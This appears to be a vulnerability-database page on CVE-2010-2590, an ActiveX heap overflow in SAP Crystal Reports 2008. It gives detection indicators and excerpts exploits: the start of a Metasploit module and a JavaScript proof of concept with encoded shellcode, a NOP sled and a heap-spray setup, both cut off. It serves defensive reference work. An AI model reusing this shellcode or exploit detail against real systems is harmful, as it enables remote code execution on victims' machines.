CVE-2010-2590
published 2010-12-22CVE-2010-2590: Heap-based buffer overflow in the CrystalReports12.CrystalPrintControl.1 ActiveX control in PrintControl.dll 12.3.2.753 in SAP Crystal Reports 2008 SP3 Fix…
PriorityP262critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
46.78%
98.8th percentile
Heap-based buffer overflow in the CrystalReports12.CrystalPrintControl.1 ActiveX control in PrintControl.dll 12.3.2.753 in SAP Crystal Reports 2008 SP3 Fix Pack 3.2 allows remote attackers to execute arbitrary code via a long ServerResourceVersion property value.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sap | crystal_reports | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x81\xc4\xa4\xf3\xfe\xff
- →Detect instantiation of the vulnerable ActiveX control by its CLSID {88DD90B6-C770-4CFF-B7A4-3AFD16BB8824} (CrystalReports12.CrystalPrintControl.1) in HTML/script content. ↗
- →Alert on unusually long string assignments to the ServerResourceVersion property of the CrystalPrintControl ActiveX object; the exploit uses an offset of 0x5F4 (1524 bytes) to reach the return address. ↗
- →Detect heap-spray patterns using the 0x0c0c0c0c / 0x0c0c0c08 marker values in JavaScript targeting IE 6–8 on Windows XP/7. ↗
- →Detect ROP gadget addresses from msvcr71.dll (e.g., 0x7c342643, 0x7c37653d) in memory or network content; the exploit uses msvcr71.dll loaded by the ActiveX control to bypass DEP and ASLR. ↗
- →Monitor for the stack-adjustment prepend encoder bytes \x81\xc4\xa4\xf3\xfe\xff (add esp, -500) in shellcode delivered via browser exploits. ↗
- →Flag presence of PrintControl.dll version 12.3.2.753 (or 12.0.0.683 / 12.0.0.549) loaded in browser processes; these are the vulnerable versions. ↗
- ·The exploit only targets Internet Explorer versions 6, 7, and 8 on Windows XP SP3 and IE 8 on Windows 7 SP1; other browsers are not affected. ↗
- ·DEP/ASLR bypass relies on msvcr71.dll being loaded by the ActiveX control; environments without msvcr71.dll (e.g., newer JRE-less systems) may not be exploitable via the documented ROP chain. ↗
- ·The Metasploit module defaults to 'migrate -f' post-exploitation, meaning the initial process may change immediately after exploitation, affecting forensic artifacts. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Crystal Reports CrystalPrintControl - ActiveX ServerResourceVersion Property Overflow (Metasploit)
exploitdb·2012-12-18
CVE-2010-2590 Crystal Reports CrystalPrintControl - ActiveX ServerResourceVersion Property Overflow (Metasploit)
Crystal Reports CrystalPrintControl - ActiveX ServerResourceVersion Property Overflow (Metasploit)
---
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",
:method => "ServerResourceVersion"
})
def initialize(info={})
super(update_info(info,
'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",
'Description' => %
Exploit-DB
Crystal Reports Viewer 12.0.0.549 - 'PrintControl.dll' ActiveX
exploitdb·2010-12-14
CVE-2010-2590 Crystal Reports Viewer 12.0.0.549 - 'PrintControl.dll' ActiveX
Crystal Reports Viewer 12.0.0.549 - 'PrintControl.dll' ActiveX
---
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize = 20;
slackspace= headersize + shellcode.length;
while(nops.length
Metasploit
Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow
metasploit
Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow
Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow
This module exploits a heap based buffer overflow in the CrystalPrintControl ActiveX, while handling the ServerResourceVersion property. The affected control can be found in the PrintControl.dll component as included with Crystal Reports 2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the affected ActiveX control, to bypass DEP and ASLR.
No writeups or analysis indexed.
http://pocoftheday.blogspot.com/2010/12/crystal-reports-viewer-1200549-activex.htmlhttp://secunia.com/advisories/42305http://secunia.com/secunia_research/2010-135/http://www.exploit-db.com/exploits/15733http://www.osvdb.org/69917http://www.securityfocus.com/archive/1/515369/100/0/threadedhttp://www.securityfocus.com/bid/45387http://www.securitytracker.com/id?1024915https://service.sap.com/sap/support/notes/1539269http://pocoftheday.blogspot.com/2010/12/crystal-reports-viewer-1200549-activex.htmlhttp://secunia.com/advisories/42305http://secunia.com/secunia_research/2010-135/http://www.exploit-db.com/exploits/15733http://www.osvdb.org/69917http://www.securityfocus.com/archive/1/515369/100/0/threadedhttp://www.securityfocus.com/bid/45387http://www.securitytracker.com/id?1024915https://service.sap.com/sap/support/notes/1539269
2010-12-22
Published